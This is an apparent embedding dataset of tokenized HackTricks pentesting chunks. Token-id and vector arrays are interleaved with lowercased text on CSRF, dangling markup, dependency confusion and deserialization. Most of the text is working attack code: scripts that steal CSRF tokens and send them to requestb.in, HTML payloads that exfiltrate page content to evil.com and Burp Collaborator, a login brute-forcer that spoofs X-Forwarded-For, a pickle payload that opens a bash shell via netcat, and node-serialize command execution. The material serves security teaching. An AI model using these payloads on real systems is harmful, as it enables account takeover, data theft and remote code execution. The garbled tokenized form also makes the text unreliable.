[ 1026, 1013, 5896, 1028, 4800, 19362, 2102, 1013, 2433, 1011, 2951, 2695, 5227, 8029, 14192, 2850, 2696, 1027, 2047, 2433, 2850, 2696, 1006, 1007, 1025, 13075, 1038, 4135, 2497, 1027, 2047, 1038, 4135, 2497, 1006, 1031, 1000, 1026, 1029, 2...
hack_tricks
152.txt
6
form > < body > < script > function envia ( ) { document. getelementbyid ( " formulario " ). submit ( ) ; } < / script > <! - - public. html - - > < iframe src = " 2 - 1. html " style = " position : absolute ; top : - 5000 " > < / iframe > < h1 > sitio bajo mantenimiento. disculpe las molestias < / h1 > steal csrf token and send a post requestfunction submitformwithtokenjs ( token ) { var xhr = new xmlhttprequest ( ) ; xhr. open ( " post ", post _ url, true ) ; xhr. withcredentials = true ; / / send the proper header information along with the request xhr. setrequestheader ( " content - type ", " application / x - www - form - urlencoded " ) ; / / this is for debugging and can be removed xhr. onreadystatechange = function ( ) { if ( xhr. readystate = = = xmlhttprequest. done & & xhr. status = = = 200 ) { / / console. log ( xhr. responsetext ) ; } } xhr. send ( " token = " + token + " & otherparama = heyyyy " ) ; } function gettokenjs ( ) { var xhr = new xmlhttprequest ( ) ; / / this tels it to return it as a html document xhr. responsetype = " document " ; xhr. withcredentials = true ; / / true on the end of here makes the call asynchronous xhr. open ( " get ", get _ url, true ) ; xhr. onload = function ( e ) { if ( xhr. readystate = = = xmlhttprequest. done & & xhr. status = = = 200 ) { / / get the document from the response page = xhr. response / / get the input element input = page. getelementbyid ( " token " ) ; / / show the token / / console. log ( " the token is : " + input. value ) ; / / use the token to submit the form submitformwithtokenjs ( input. value )
[ 0.5780722498893738, -0.18216179311275482, -0.5677708387374878, 0.6932294964790344, -0.1951032280921936, -0.2623501121997833, -0.8248865008354187, 0.03502921760082245, 0.2830825448036194, 0.6419805288314819, 0.6143459677696228, 0.28933995962142944, 0.061927955597639084, -0.22353142499923706...
[ 2433, 1028, 1026, 2303, 1028, 1026, 5896, 1028, 3853, 4372, 9035, 1006, 1007, 1063, 6254, 1012, 2131, 12260, 3672, 3762, 3593, 1006, 1000, 5675, 9488, 1000, 1007, 1012, 12040, 1006, 1007, 1025, 1065, 1026, 1013, 5896, 1028, 1026, 999, 101...
hack_tricks
152.txt
7
; } } ; / / make the request xhr. send ( null ) ; } var get _ url = " http : / / google. com? param = value " var post _ url = " http : / / google. com? param = value " gettokenjs ( ) ; steal csrf token and send a post request using an iframe, a form and ajax < form id = " form1 " action = " http : / / google. com? param = value " method = " post " enctype = " multipart / form - data " > < input type = " text " name = " username " value = " aa " > < input type = " checkbox " name = " status " checked = " checked " > < input id = " token " type = " hidden " name = " token " value = " " / > < / form > < script type = " text / javascript " > function f1 ( ) { x1 = document. getelementbyid ( " i1 " ) ; x1d = ( x1. contentwindow | | x1. contentdocument ) ; t = x1d. document. getelementbyid ( " token " ). value ; document. getelementbyid ( " token " ). value = t ; document. getelementbyid ( " form1 " ). submit ( ) ; } < / script > < iframe id = " i1 " style = " display : none " src = " http : / / google. com? param = value " onload = " javascript : f1 ( ) ; " > < / iframe > steal csrf token and sen a post request using an iframe and a form < iframe id = " iframe " src = " http : / / google. com? param = value " width = " 500 " height = " 500 " onload = " read ( ) " > < / iframe > < script > function read ( ) { var name ='admin2'; var token = document. getelementbyid ( " iframe " ). contentdocument. forms [ 0 ]. token. value ; document. writeln ('< form width = " 0 " height = " 0 " method = " post " action = " http : / / www.
[ 0.5077845454216003, -0.14648640155792236, 0.03458452597260475, 0.15512055158615112, -0.1318054497241974, 0.39818108081817627, -0.5932989716529846, 0.3176787197589874, 0.13111726939678192, 0.8409746885299683, 0.3769276738166809, -0.61000657081604, 0.19321078062057495, 0.005588768981397152, ...
[ 1025, 1065, 1065, 1025, 1013, 1013, 2191, 1996, 5227, 1060, 8093, 1012, 4604, 1006, 19701, 1007, 1025, 1065, 13075, 2131, 1035, 24471, 2140, 1027, 1000, 8299, 1024, 1013, 1013, 8224, 1012, 4012, 1029, 11498, 2213, 1027, 3643, 1000, 13075, ...
hack_tricks
152.txt
8
yoursebsite. com / check. php " enctype = " multipart / form - data " >') ; document. writeln ('< input id = " username " type = " text " name = " username " value = "'+ name +'" / > < br / >') ; document. writeln ('< input id = " token " type = " hidden " name = " token " value = "'+ token +'" / >') ; document. writeln ('< input type = " submit " name = " submit " value = " submit " / > < br / >') ; document. writeln ('< / form >') ; document. forms [ 0 ]. submit. click ( ) ; } < / script > steal token and send it using 2 iframes < script > var token ; function readframe1 ( ) { token = frame1. document. getelementbyid ( " profile " ). token. value ; document. getelementbyid ( " bypass " ). token. value = token loadframe2 ( ) ; } function loadframe2 ( ) { var test = document. getelementbyid ( " frame2 " ) ; test. src = " http : / / requestb. in / 1g6asbg1? token = " + token ; } < / script > < iframe id = " frame1 " name = " frame1 " src = " http : / / google. com? param = value " onload = " readframe1 ( ) " sandbox = " allow - same - origin allow - scripts allow - forms allow - popups allow - top - navigation " height = " 600 " width = " 800 " > < / iframe > < iframe id = " frame2 " name = " frame2 " sandbox = " allow - same - origin allow - scripts allow - forms allow - popups allow - top - navigation " height = " 600 " width = " 800 " > < / iframe > < body onload = " document. forms [ 0 ]. submit ( ) " > < form id = " bypass " name " bypass " method = " post " target = " frame2 " action = " http : / / google. com? param = value " enctype = " multipart / form - data " >
[ 0.5370822548866272, -0.34881001710891724, 0.3878591060638428, 0.6147178411483765, -0.08138898760080338, 0.0920681431889534, -0.8094893097877502, 0.49789077043533325, 0.2564929127693176, 0.2510323226451874, 0.7215373516082764, -0.10621825605630875, 0.2730368375778198, 0.5423881411552429, ...
[ 6737, 15878, 28032, 2063, 1012, 4012, 1013, 4638, 1012, 25718, 1000, 4372, 6593, 18863, 1027, 1000, 4800, 19362, 2102, 1013, 2433, 1011, 2951, 1000, 1028, 1005, 1007, 1025, 6254, 1012, 4339, 19666, 1006, 1005, 1026, 7953, 8909, 1027, 1000, ...
hack_tricks
152.txt
9
< input type = " text " name = " username " value = " z " > < input type = " checkbox " name = " status " checked = " " > < input id = " token " type = " hidden " name = " token " value = " 0000 " / > < button type = " submit " > submit < / button > < / form > poststeal csrf token with ajax and send a post with a form < body onload = " getdata ( ) " > < form id = " form " action = " http : / / google. com? param = value " method = " post " enctype = " multipart / form - data " > < input type = " hidden " name = " username " value = " root " / > < input type = " hidden " name = " status " value = " on " / > < input type = " hidden " id = " findtoken " name = " token " value = " " / > < input type = " submit " value = " valider " / > < / form > < script > var x = new xmlhttprequest ( ) ; function getdata ( ) { x. withcredentials = true ; x. open ( " get ", " http : / / google. com? param = value ", true ) ; x. send ( null ) ; } x. onreadystatechange = function ( ) { if ( x. readystate = = xmlhttprequest. done ) { var token = x. responsetext. match ( / name = " token " value = " (. + ) " / ) [ 1 ] ; document. getelementbyid ( " findtoken " ). value = token ; document. getelementbyid ( " form " ). submit ( ) ; } } < / script > csrf with socket. io < script src = " https : / / cdn. jsdelivr. net / npm / socket. io - client @ 2 / dist / socket. io. js " > < / script > < script > let socket = io ('http : / / six. jh2i. com : 50022 / test') ; const username ='admin'socket. on ('connect ', ( ) = > { console. log ('connected!')
[ 0.30945631861686707, -0.21656428277492523, 0.003494408680126071, 0.5367373824119568, -0.5325722694396973, 0.03900489583611488, -0.6753122806549072, 0.2247454971075058, 0.14411965012550354, 0.8343331217765808, 0.22034403681755066, -0.28804072737693787, 0.09176318347454071, 0.052552562206983...
[ 1026, 7953, 2828, 1027, 1000, 3793, 1000, 2171, 1027, 1000, 5310, 18442, 1000, 3643, 1027, 1000, 1062, 1000, 1028, 1026, 7953, 2828, 1027, 1000, 4638, 8758, 1000, 2171, 1027, 1000, 3570, 1000, 7039, 1027, 1000, 1000, 1028, 1026, 7953, 890...
hack_tricks
152.txt
10
; socket. emit ('join ', { room : username } ) ; socket. emit ('my _ room _ event ', { data : '! flag ', room : username } ) } ) ; < / script > csrf login brute forcethe code can be used to brut force a login form using a csrf token ( it's also using the header x - forwarded - for to try to bypass a possible ip blacklisting ) : import requestimport reimport randomurl = " http : / / 10. 10. 10. 191 / admin / " proxy = { " http " : " 127. 0. 0. 1 : 8080 " } session _ cookie _ name = " bludit - key " user = " fergus " pass _ list = ". / words " def init _ session ( ) : # return csrf + session ( cookie ) r = requests. get ( url ) csrf = re. search ( r'input type = " hidden " id = " jstokencsrf " name = " tokencsrf " value = " ( [ a - za - z0 - 9 ] * ) " ', r. text ) csrf = csrf. group ( 1 ) session _ cookie = r. cookies. get ( session _ cookie _ name ) return csrf, session _ cookiedef login ( user, password ) : print ( f " { user } : { password } " ) csrf, cookie = init _ session ( ) cookies = { session _ cookie _ name : cookie } data = { " tokencsrf " : csrf, " username " : user, " password " : password, " save " : " " } headers = { " x - forwarded - for " : f " { random. randint ( 1, 256 ) }. { random. randint ( 1, 256 ) }. { random. randint ( 1, 256 ) }. { random. randint ( 1, 256 ) } " } r = requests. post ( url, data = data, cookies = cookies, headers = headers, proxies = proxy ) if " username or password incorrect " in r. text : return false else : print ( f " found { user } : { password } " ) return truewith open ( pass _ list, " r " ) as f : for line in f : log
[ 0.26746663451194763, -0.3898632228374481, -0.41646629571914673, 0.4485733211040497, 0.10311810672283173, -0.7917567491531372, -0.388586163520813, 0.42651674151420593, 0.2802731990814209, 0.5499271154403687, 0.45799192786216736, 0.44586697220802307, 0.28480035066604614, -0.17320488393306732...
[ 1025, 22278, 1012, 12495, 2102, 1006, 1005, 3693, 1005, 1010, 1063, 2282, 1024, 5310, 18442, 1065, 1007, 1025, 22278, 1012, 12495, 2102, 1006, 1005, 2026, 1035, 2282, 1035, 2724, 1005, 1010, 1063, 2951, 1024, 1005, 999, 5210, 1005, 1010, ...
hack_tricks
152.txt
11
##in ( user, line. strip ( ) ) toolshttps : / / github. com / 0xinfection / xsrfprobehttps : / / github. com / merttasci / csrf - poc - generator [SEP]
[ -0.07059779763221741, -0.24316392838954926, 0.5095366835594177, 0.13560885190963745, -0.3151075839996338, -1.3643018007278442, -0.2731277644634247, -0.07905055582523346, 0.48912158608436584, 1.193430781364441, 0.5570814609527588, -0.31765538454055786, 0.3571004867553711, -0.094534680247306...
[ 2378, 1006, 5310, 1010, 2240, 1012, 6167, 1006, 1007, 1007, 5906, 11039, 25856, 2015, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 1014, 20303, 25969, 3258, 1013, 1060, 21338, 22540, 3217, 4783, 11039, 25856, 2015, 1024, 1013, 10...
hack_tricks
152.txt
12
[CLS] dangling markup - html scriptless injectionresumethis technique can be use to extract information from a user when an html injection is found. this is very useful if you don't find any way to exploit a xss but you can inject some html tags. it is also useful if some secret is saved in clear text in the html and you want to exfiltrate it from the client, or if you want to mislead some script execution. several techniques commented here can be used to bypass some content security policy by exfiltrating information in unexpected ways ( html tags, css, url tags, forms, base... ). main applicationsstealing clear text secretsif you inject < img src ='http : / / evil. com / log. cgi? when the page is loaded the victim will send you all the code between the injected img tag and the next quote inside the code. if a secret is somehow located in that chunk, you will steal i t ( you can do the same thing using a double quote, take a look which could be more interesting to use ). if the img tag is forbidden ( due to csp for example ) you can also use < meta url content = " 4 ; url ='http : / / evil. com / log. cgi? < img src ='http : / / attacker. com / log. php? html = < meta url content ='0 ; url = http : / / evil. com / log. php? text = < meta url content ='0 ; url = ftp : / / evil. com? a = note that chrome blocks http urls with " < " or " \ n " in it, so you could try other protocol schemes like " ftp ". you can also abuse css @ import ( will send all the code until it find a " ; " ) < style > @ import / / hackvertor. co. uk? < - - - injected < b > steal me! < / b > ; you could also use < table : < table background ='/ / your - collaborator - id. burpcollaborator. net?'you could also insert a < base tag. all the information will be sent until the quote is closed but it requires some user interaction ( the user must click in some link, because the base tag will have changed the domain pointed by the link
[ -0.17943739891052246, -0.3509163558483124, -0.2875848114490509, 0.3235875368118286, -0.7774398922920227, -0.38069602847099304, -0.10352972894906998, -0.08144114911556244, 0.5961480140686035, 1.2044986486434937, 0.48347073793411255, 0.5265215635299683, 0.33311253786087036, -0.01763802580535...
[ 101, 18737, 2928, 6279, 1011, 16129, 5896, 3238, 13341, 6072, 17897, 15222, 2015, 6028, 2064, 2022, 2224, 2000, 14817, 2592, 2013, 1037, 5310, 2043, 2019, 16129, 13341, 2003, 2179, 1012, 2023, 2003, 2200, 6179, 2065, 2017, 2123, 1005, 1056,...
hack_tricks
153.txt
0
) : < base target ='< - - - injectedsteal me'< b > test < / b > stealing forms < base href ='http : / / evil. com /'> then, the forms that send data to path ( like < form action ='update _ profile. php'> ) will send the data to the malicious domain. stealing forms 2set a form header : < form action ='http : / / evil. com / log _ steal'> this will overwrite the next form header and all the data from the form will be sent to the attacker. stealing forms 3the button can change the url where the information of the form is going to be sent with the attribute " formaction " : < button name = xss type = submit formaction ='https : / / google. com'> i get consumed! an attacker can use this to steal the information. stealing clear text secrets 2using the latest mentioned technique to steal forms ( injecting a new form header ) you can then inject a new input field : < input type ='hidden'name ='review _ body'value = " and this input field will contain all the content between its double quote and the next double quote in the html. this attack mix the " stealing clear text secrets " with " stealing forms2 ". you can do the same thing injecting a form and an < option > tag. all the data until a closed < / option > is found will be sent : < form action = http : / / google. com > < input type = " submit " > click me < / input > < select name = xss > < optionform parameter injectionyou can change the path of a form and insert new values so an unexpected action will be performed : < form action ='/ change _ settings. php'> < input type ='hidden'name ='invite _ user'value ='fredmbogo'> ← injected lines < form action = " / change _ settings. php " > ← existing form ( ignored by the parser )... < input type = " text " name = " invite _ user " value = " " > ← subverted field... < input type = " hidden " name = " xsrf _ token " value = " 12345 " >... < / form > stealing clear text secrets via noscript < noscript > < / noscript > is a tag whose content will
[ 0.3016321659088135, -0.07829513400793076, -0.3589678108692169, 0.6370388269424438, -0.28826385736465454, -0.12905950844287872, -0.4462328553199768, 0.40077826380729675, 0.3846752345561981, 0.3817179501056671, 0.20728527009487152, 0.738045871257782, 0.13235005736351013, -0.13409598171710968...
[ 1007, 1024, 1026, 2918, 4539, 1027, 1005, 1026, 1011, 1011, 1011, 19737, 13473, 2389, 2033, 1005, 1026, 1038, 1028, 3231, 1026, 1013, 1038, 1028, 11065, 3596, 1026, 2918, 17850, 12879, 1027, 1005, 8299, 1024, 1013, 1013, 4763, 1012, 4012, ...
hack_tricks
153.txt
1
be interpreted if the browser doesn't support javascript ( you can enable / disable javascript in chrome in chrome : / / settings / content / javascript ). a way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this : < noscript > < form action = http : / / evil. com > < input type = submit style = " position : absolute ; left : 0 ; top : 0 ; width : 100 % ; height : 100 % ; " type = submit value = " " > < textarea name = contents > < / noscript > bypassing csp with user interactionfrom this portswiggers research you can learn that even from the most csp restricted environments you can still exfiltrate data with some user interaction. in this occasion we are going to use the payload : < a href = http : / / attacker. net / payload. html > < font size = 100 color = red > you must click me < / font > < / a > < base target ='note that you will ask the victim to click on a link that will redirect him to payload controlled by you. also note that the target attribute inside the base tag will contain html content until the next single quote. this will make that the value of window. name if the link is clicked is going to be all that html content. therefore, as you control the page where the victim is accessing by clicking the link, you can access that window. name and exfiltrate that data : < script > if ( window. name ) { new image ( ). src ='/ / your - collaborator - id. burpcollaborator. net?'+ encodeuricomponent ( window. name ) ; < / script > misleading script workflow 1 - html namespace attackinsert a new tag with and id inside the html that will overwrite the next one and with a value that will affect the flow of a script. in this example you are selecting with whom a information is going to be shared : < input type ='hidden'id ='share _ with'value ='fredmbogo'> ← injected markup... share this status update with : ← legitimate optional element of a dialog < input id ='share _ with'value ='' >... function submit _ status _ update ( ) {..
[ 0.07793498039245605, -0.04128936678171158, 0.029159801080822945, 0.47837260365486145, -0.5303199291229248, -0.3453013002872467, -0.4859284460544586, 0.0015159511240199208, 0.4580797553062439, 1.215509295463562, 0.02172248065471649, 0.3345887362957001, 0.2713306248188019, -0.566051304340362...
[ 2022, 10009, 2065, 1996, 16602, 2987, 1005, 1056, 2490, 9262, 22483, 1006, 2017, 2064, 9585, 1013, 4487, 19150, 9262, 22483, 1999, 18546, 1999, 18546, 1024, 1013, 1013, 10906, 1013, 4180, 1013, 9262, 22483, 1007, 1012, 1037, 2126, 2000, 465...
hack_tricks
153.txt
2
. request. share _ with = document. getelementbyid ('share _ with'). value ;... } misleading script workflow 2 - script namespace attackcreate variables inside javascript namespace by inserting html tags. then, this variable will affect the flow of the application : < img id ='is _ public'> ← injected markup... / / legitimate application code followsfunction retrieve _ acls ( ) {... if ( response. access _ mode = = am _ public ) ← the subsequent assignment fails in ie is _ public = true ; else is _ public = false ; } function submit _ new _ acls ( ) {... if ( is _ public ) request. access _ mode = am _ public ; ← condition always evaluates to true... } abuse of jsonpif you find a jsonp interface you could be able to call an arbitrary function with arbitrary data : < script src ='/ editor / sharing. js'> : ← legitimate script function set _ sharing ( public ) { if ( public ) request. access _ mode = am _ public ; else request. access _ mode = am _ private ;... } < script src ='/ search? q = a & call = set _ sharing'> : ← injected jsonp call set _ sharing ( {... } ) or you can even try to execute some javascript : < script src ='/ search? q = a & call = alert ( 1 )'> < / script > iframe abusenotice that a child document can view and set location property for parent, even if cross - origin. this means that you can make the client access any other page by loading inside an iframe some code like : < html > < head > < / head > < body > < script > top. window. location = " https : / / attacker. com / hacked. html " < / script > < / body > < / html > this can be mitigated with something like : sandbox = ’ allow - scripts allow - top - navigation ’ an iframe can also be abused to leak sensitive information from a different page using the iframe name attribute. this is because you can create an iframe that iframes itself abusing the html injection that makes the sensitive info appear inside the iframe name attribute and then access that name from the initial
[ 0.441559761762619, -0.44779378175735474, 0.0117311030626297, 0.6672666668891907, -0.09850405156612396, 0.22315359115600586, -0.7138049602508545, -0.17459635436534882, 0.5409433841705322, 0.4815943241119385, 0.21509456634521484, 0.15574079751968384, 0.032681748270988464, -0.2679454684257507...
[ 1012, 5227, 1012, 3745, 1035, 2007, 1027, 6254, 1012, 2131, 12260, 3672, 3762, 3593, 1006, 1005, 3745, 1035, 2007, 1005, 1007, 1012, 3643, 1025, 1012, 1012, 1012, 1065, 22369, 5896, 2147, 12314, 1016, 1011, 5896, 3415, 15327, 2886, 16748, ...
hack_tricks
153.txt
3
iframe and leak it. < script > function cspbypass ( win ) { win [ 0 ]. location ='about : blank'; settimeout ( ( ) = > alert ( win [ 0 ]. name ), 500 ) ; } < / script > < iframe src = " / / subdomain1. portswigger - labs. net / bypassing - csp - with - dangling - iframes / target. php? email = % 22 > < iframe name = % 27 " onload = " cspbypass ( this. contentwindow ) " > < / iframe > for more info check url abuseyou could use meta url to perform several actions like setting a cookie : < meta url = " set - cookie " content = " sessid = 1 " > or performing a redirect ( in 5s in this case ) : < meta name = " language " content = " 5 ; http : / / attacker. svg " http - equiv = " refresh " / > this can be avoided with a csp regarding url ( content - security - policy : default - src'self';, or content - security - policy : url'self'; ) new < portal html tagyou can find a very interesting research on exploitable vulnerabilities of the < portal tag here. at the moment of this writing you need to enable the portal tag on chrome in chrome : / / flags / # enable - portals or it won't work. < portal src ='https : / / attacker - server? html leaksnot all the ways to leak connectivity in html will be useful for dangling markup, but sometimes it could help. check them here : url is a mix between dangling markup and xs - leaks. from one side the vulnerability allows to inject html ( but not js ) in a page of the same origin of the one we will be attacking. on the other side we won't attack directly the page where we can inject html, but another page. ss - leaksxs - search / xs - leaksxs - search are oriented to exfiltrate cross - origin information abusing side channel attacks. therefore, it's a different technique than dangling markup, however, some of the techniques abuse the inclusion of html tags ( with and without js execution ), like css injection or lazy load
[ 0.03606181591749191, -0.2755519151687622, 0.028939083218574524, 0.6525620818138123, 0.05876170098781586, -0.00873586069792509, -0.47893524169921875, 0.05105581879615784, 0.5019251704216003, 0.810017466545105, -0.3045816123485565, 0.26760295033454895, 0.6807916164398193, -0.6840367317199707...
[ 2065, 6444, 2063, 1998, 17271, 2009, 1012, 1026, 5896, 1028, 3853, 20116, 2361, 3762, 15194, 1006, 2663, 1007, 1063, 2663, 1031, 1014, 1033, 1012, 3295, 1027, 1005, 2055, 1024, 8744, 1005, 1025, 2275, 7292, 5833, 1006, 1006, 1007, 1027, 1...
hack_tricks
153.txt
4
images. xs - search / xs - leaksbrute - force detection listauto _ wordlists / dangling _ markup. txt at main Β· carlospolop / auto _ wordlistsgithub [SEP]
[ -0.536030113697052, -0.6173405647277832, 1.0131534337997437, 1.1297821998596191, -0.419759601354599, -0.4865856468677521, 0.28211352229118347, -0.30950480699539185, 0.3516242504119873, 0.8923251032829285, 0.45182546973228455, 0.353029727935791, 0.4410490393638611, -0.5832524299621582, -0...
[ 4871, 1012, 1060, 2015, 1011, 3945, 1013, 1060, 2015, 1011, 29324, 19892, 10421, 1011, 2486, 10788, 2862, 4887, 3406, 1035, 2773, 27103, 1013, 18737, 1035, 2928, 6279, 1012, 19067, 2102, 2012, 2364, 1087, 5828, 18155, 7361, 1013, 8285, 1035...
hack_tricks
153.txt
5
[CLS] dependency confusionbasic informationin summary, a dependency confusion vulnerability occurs when a project is using a library with a misspelled name, inexistent or with an unspecified version and the used dependency repository allows to gather updated versions from public repositories. misspelled : import reqests instead of requestsinexistent : import company - logging, an internal library which no longer existsunspecified version : import an internal existent company - requests library, but the repo check public repos to see if there are greater versions. exploitationin all cases the attacker just need to publish a malicious package with name of libraries used by the victim company. misspelled & inexistentif your company is trying to import a library that isn't internal, highly probably the repo of libraries is going to be searching for it in public repositories. if an attacker has created it, your code and machines running is highly probably going to be compromised. unspecified versionit's very common for developers to not specify any version of the library used, or specify just a mayor version. then, the interpreter will try to download the latest version fitting those requirements. if the library is a known external library ( like python requests ), an attacker cannot do much, as he won't be able to create a library called requests ( unless he is the original author ). however, if the library is internal, like requests - company in this example, if the library repo allows to check for new versions also externally, it will search for a newer version publicly available. so if an attacker knows that the company is using the requests - company library version 1. 0. 1 ( allow minor updates ). he can publish the library requests - company version 1. 0. 2 and the company will use that library instead of the internal one. aws fixthis vulnerability was found in aws codeartifact ( read the details in this blog post ). aws fixed this by allowing to specify if a library is internal or external, to avoid downloading internal dependencied from external repositories. finding vulnerable librariesin the original post about dependency confusion the author searched for thousands of exposed package. json files containing javascript project ’ s dependencies. [SEP]
[ 0.23510292172431946, 0.07626695930957794, -0.7662743330001831, 0.09761680662631989, -0.883090615272522, 0.19370803236961365, 0.03364453464746475, -0.12986472249031067, 0.29153773188591003, 0.7575823068618774, 0.6454029083251953, -0.7427886724472046, 0.6515886187553406, -0.5121771097183228,...
[ 101, 24394, 6724, 22083, 2594, 2592, 2378, 12654, 1010, 1037, 24394, 6724, 18130, 5158, 2043, 1037, 2622, 2003, 2478, 1037, 3075, 2007, 1037, 3335, 11880, 3709, 2171, 1010, 1999, 10288, 27870, 3372, 2030, 2007, 2019, 25851, 2544, 1998, 1996...
hack_tricks
154.txt
0
[CLS] deserializationserialization is the process of turning some object into a data format that can be restored later. people often serialize objects in order to save them to storage, or to send as part of communications. deserialization is the reverse of that process, taking data structured from some format, and rebuilding it into an object. today, the most popular data format for serializing data is json. before that, it was xml. in many occasions you can find some code in the server side that unserialize some object given by the user. in this case, you can send a malicious payload to make the server side behave unexpectedly. you should read : url for learn how to attack. phpmagic method used with serialization : _ _ sleep is called when an object is serialized and must be returned to arraymagic method used with deserialization _ _ wakeup is called when an object is deserialized. _ _ unserialize is called instead of _ _ wakeup if it exists. _ _ destruct is called when php script end and object is destroyed. _ _ tostring uses object as string but also can be used to read file or more than that based on function call inside it. <? phpclass test { public $ s = " this is a test " ; public function displaystring ( ) { echo $ this - > s.'< br / >'; } public function _ _ tostring ( ) { echo'_ _ tostring method called'; } public function _ _ construct ( ) { echo " _ _ construct method called " ; } public function _ _ destruct ( ) { echo " _ _ destruct method called " ; } public function _ _ wakeup ( ) { echo " _ _ wakeup method called " ; } public function _ _ sleep ( ) { echo " _ _ sleep method called " ; return array ( " s " ) ; # the " s " makes references to the public attribute } } $ o = new test ( ) ; $ o - > displaystring ( ) ; $ ser = serialize ( $ o ) ; echo $ ser ; $ unser = unserialize ( $ ser ) ; $ unser - > displaystring ( ) ; / * php > $ o = new test ( ) ; _ _ construct method called _ _ destruct method calledphp > $ o - > displaystring ( ) ; this is a test < br / > php
[ -0.7214879393577576, -0.19490991532802582, -0.360085129737854, 0.3342522382736206, -0.03250240534543991, -0.8528463840484619, -0.48601439595222473, -0.10243570804595947, 0.8109623193740845, 1.3880947828292847, 0.42191994190216064, -0.6206072568893433, 0.3231555223464966, -0.227937981486320...
[ 101, 4078, 11610, 22731, 8043, 4818, 3989, 2003, 1996, 2832, 1997, 3810, 2070, 4874, 2046, 1037, 2951, 4289, 2008, 2064, 2022, 5854, 2101, 1012, 2111, 2411, 7642, 4697, 5200, 1999, 2344, 2000, 3828, 2068, 2000, 5527, 1010, 2030, 2000, 460...
hack_tricks
155.txt
0
> $ ser = serialize ( $ o ) ; _ _ sleep method calledphp > echo $ ser ; o : 4 : " test " : 1 : { s : 1 : " s " ; s : 14 : " this is a test " ; } php > $ unser = unserialize ( $ ser ) ; _ _ wakeup method called _ _ destruct method calledphp > $ unser - > displaystring ( ) ; this is a test < br / > * /? > if you look to the results you can see that the functions _ _ wakeup and _ _ destruct are called when the object is deserialized. note that in several tutorials you will find that the _ _ tostring function is called when trying yo print some attribute, but apparently that's not happening anymore. the method ` ` _ _ unserialize ( array $ data ) is called instead of _ _ wakeup ( ) if it is implemented in the class. it allows you to unserialize the object by providing the serialized data as an array. you can use this method to unserialize properties and perform any necessary tasks upon deserialization. phpcopy codeclass myclass { private $ property ; public function _ _ unserialize ( array $ data ) : void { $ this - > property = $ data ['property'] ; / / perform any necessary tasks upon deserialization. } } you can read an explained php example here : url here url or here url deserial + autoload classesyou could abuse the php autoload functionality to load arbitrary php files and more : php - deserialization + autoload classesserializing referenced valuesif for some reason you want to serialize a value as a reference to another value serialized you can : <? phpclass aclass { public $ param1 ; public $ param2 ; } $ o = new weirdgreeting ; $ o - > param1 = & $ o - > param22 ; $ o - > param = " param " ; $ ser = serialize ( $ o ) ; phpggc ( ysoserial for php ) phpgcc can help you generating payloads to abuse php deserializations. note than in several cases you won't be able to find a way to abuse a deserialization in the source code of the application but you may be able to abuse the code of external php
[ 0.18429338932037354, 0.18852582573890686, -0.13120900094509125, 0.4590744078159332, 0.18995247781276703, -0.26619404554367065, -0.08133895695209503, 0.1925497204065323, 0.24843306839466095, 0.7385296821594238, 0.44544628262519836, 0.23368096351623535, 0.5271992683410645, 0.1248499825596809...
[ 1028, 1002, 14262, 1027, 7642, 4697, 1006, 1002, 1051, 1007, 1025, 1035, 1035, 3637, 4118, 2170, 8458, 2361, 1028, 9052, 1002, 14262, 1025, 1051, 1024, 1018, 1024, 1000, 3231, 1000, 1024, 1015, 1024, 1063, 1055, 1024, 1015, 1024, 1000, 10...
hack_tricks
155.txt
1
extensions. so, if you can, check the phpinfo ( ) of the server and search on the internet ( an even on the gadgets of phpgcc ) some possible gadget you could abuse. phar : / / metadata deserializationif you have found a lfi that is just reading the file and not executing the php code inside of it, for example using functions like file _ get _ contents ( ), fopen ( ), file ( ) or file _ exists ( ), md5 _ file ( ), filemtime ( ) or filesize ( ). you can try to abuse a deserialization occurring when reading a file using the phar protocol. for more information read the following post : phar : / / deserializationpythonpicklewhen the object gets unpickle, the function _ _ reduce _ _ will be executed. when exploited, server could return an error. import pickle, os, base64class p ( object ) : def _ _ reduce _ _ ( self ) : return ( os. system, ( " netcat - c'/ bin / bash - i'- l - p 1234 ", ) ) print ( base64. b64encode ( pickle. dumps ( p ( ) ) ) ) for more information about escaping from pickle jails check : bypass python sandboxesyaml & jsonpicklethe following page present the technique to abuse an unsafe deserialization in yamls python libraries and finishes with a tool that can be used to generate rce deserialization payload for pickle, pyyaml, jsonpickle and ruamel. yaml : python yaml deserializationclass pollution ( python prototype pollution ) class pollution ( python's prototype pollution ) nodejsjs magic functionsjs doesn't have " magic " functions like php or python that are going to be executed just for creating an object. but it has some functions that are frequently used even without directly calling them such as tostring, valueof, tojson. if abusing a deserialization you can compromise these functions to execute other code ( potentially abusing prototype pollutions ) you could execute arbitrary code when they are called. another " magic " way to call a function without calling it directly is by compromising an object that is returned by an async function ( promise ). because, if you transform that return object in another promise with a property called " then " of type
[ -0.01740693859755993, -0.1793656051158905, -0.37997645139694214, 0.8227181434631348, -0.4391118884086609, 0.01815154030919075, -0.39365333318710327, 0.3538637161254883, 0.49951446056365967, 1.0503947734832764, 1.1157935857772827, 0.25862494111061096, 0.26932889223098755, -0.198116376996040...
[ 14305, 1012, 2061, 1010, 2065, 2017, 2064, 1010, 4638, 1996, 25718, 2378, 14876, 1006, 1007, 1997, 1996, 8241, 1998, 3945, 2006, 1996, 4274, 1006, 2019, 2130, 2006, 1996, 11721, 28682, 1997, 25718, 18195, 2278, 1007, 2070, 2825, 11721, 2429...
hack_tricks
155.txt
2
function, it will be executed just because it's returned by another promise. follow this link for more info. / / if you can compromise p ( returned object ) to be a promise / / it will be executed just because it's the return object of an async function : async function test _ resolve ( ) { const p = new promise ( resolve = > { console. log ('hello') resolve ( ) } ) return p } async function test _ then ( ) { const p = new promise ( then = > { console. log ('hello') return 1 } ) return p } test _ ressolve ( ) test _ then ( ) / / for more info : url and prototype pollutionif you want to learn about this technique take a look to the following tutorial : nodejs - _ _ proto _ _ & prototype pollutionnode - serializethis library allows to serialise functions. example : var y = { " rce " : function ( ) { require ('child _ process'). exec ('ls / ', function ( error, stdout, stderr ) { console. log ( stdout ) } ) }, } var serialize = require ('node - serialize') ; var payload _ serialized = serialize. serialize ( y ) ; console. log ( " serialized : \ n " + payload _ serialized ) ; the serialised object will looks like : { " rce " : " _ $ $ nd _ func $ $ _ function ( ) { require ('child _ process'). exec ('ls / ', function ( error, stdout, stderr ) { console. log ( stdout ) } ) } " } you can see in the example that when a function is serialized the _ $ $ nd _ func $ $ _ flag is appended to the serialized object. inside the file node - serialize / lib / serialize. js you can find the same flag and how the code is using it. as you may see in the last chunk of code, 